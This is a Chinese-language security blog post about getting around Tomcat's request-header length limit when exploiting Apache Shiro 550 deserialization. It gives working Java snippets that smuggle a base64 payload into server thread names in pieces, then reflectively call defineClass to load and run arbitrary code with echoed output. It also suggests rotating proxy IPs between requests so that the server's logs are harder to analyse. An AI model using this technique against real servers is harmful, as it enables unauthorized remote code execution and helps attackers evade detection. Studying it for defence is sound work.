浅谈Shiro550受Tomcat Header长度限制影响突破 {#浅谈Shiro550受Tomcat-Header长度限制影响突破}
0x00 写在前面 {#0x00-写在前面}
写个shiro相关的东西,还是秉着写出来才能学的更多的理念,当然个人还是不太喜欢贴上整串代码,只是分享思路心得,在很早以前我学习这个只是想弹出计算器,但是后面自己还是更喜欢折腾实战方面的一些构思(虽然没有过),在实战中我们更希望得到一个有回显的,而不是只是执行一个命令,关于回显最通用的就是去遍历线程对象中获取request,但是后面发现Tomcat居然有Header长度的限制,接下来就是解决问题
0x01 一些传统思路 {#0x01-一些传统思路}
思路一:修改maxHeaderSize(不太喜欢) {#思路一:修改maxHeaderSize-不太喜欢}
首先是在网上参考学习到了Litch1写的文章基于全局储存的新思路 | Tomcat的一种通用回显方法研究
里面提到了去修改org.apache.coyote.http11.AbstractHttp11Protocol中的maxHeaderSize的值,里面通过多个线程发送payload来确保request的inputbuffer会复用,个人觉得不太稳定,另一方面就算构造出来了其实也很长了,在我心中不是最优解
思路二:分离payload+动态类加载 {#思路二:分离payload-动态类加载}
- 这个思路主要来源于读到开源工具ShiroAttack2里面提到的将payload分离为两个部分(一部分是去触发反序列化Gadget,另一部分是),我的环境是tomcat8(因此需要遍历线程对象获取request/response便于回显)
这里一个比较骚的点是通过Class自带的方法equals去传递request与response,当然也可以用其他的,这样比较方便
这样我们就成功实现了将payload缩短能获得回显的目的了
0x02 浅谈新思路 {#0x02-浅谈新思路}
但是呢,个人并不满足仅仅只是成功,如果某一天在某些框架下让header更短怎么办?这里我主要解决不落地的思路
能不能再将上面的思路二再分离开来来简单实现缩短payload+分散发包
要解决这个那么一定要解决在全局能够持久存储我们的payload的地方,这里我想到了去修改当前线程对象的名字(Thread.currentThread().setName()),测试了下Thread的name能够有足够储存我们长度的能力
经过简单测试发现每次刷新网页这个线程都会改变,但总量就那么几个,那么我们肯定需要通过遍历来筛选
当然为了方便,我先将其中一个设置成我的id:Thread.currentThread().setName("y4tacker");
|-----------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7
| try { ThreadGroup a = Thread.currentThread().getThreadGroup(); java.lang.reflect.Field v2 = a.getClass().getDeclaredField("threads"); v2.setAccessible(true); Thread[] o = (Thread[]) v2.get(a); for(int i = 0; i < o.length; ++i) {Thread z = o[i];if (z.getName().contains("y4tacker")){z.setName(z.getName()+"我是注入的payload"); }}}catch (Exception e){}
|
通过一些其他手段缩减payload至最小差不多2400
这样我们只需要将注入的payload分成多段慢慢加入,通过下面的代码来最终触发我们设置向线程的paylaod执行任意代码了
|---------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6
| try {ThreadGroup a = Thread.currentThread().getThreadGroup();java.lang.reflect.Field v2 = a.getClass().getDeclaredField("threads");v2.setAccessible(true);Thread[] o = (Thread[]) v2.get(a);for(int i = 0; i < o.length; ++i) {Thread z = o[i];if (z.getName().contains("y4")){ byte[] x = org.apache.shiro.codec.Base64.decode(z.getName().replaceAll("y4tacker", "")); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClassMethod.setAccessible(true); ((Class)defineClassMethod.invoke(a.class.getClassLoader(), x, 0, x.length)).newInstance(); }}}catch (Exception e){}
|
这样还给我们一个好处就是,在每次发包的时候切换代理变更ip,maybe可以导致后台分析日志的时候会更难(毕竟每次发包之间总有其他用户的正常操作XD),简单测试一下能不能弹个计算器嘞,答案永远是Yes
顺便提醒一句搞完了记得把线程名改回去哦,不然线程名变成啥样勒,plz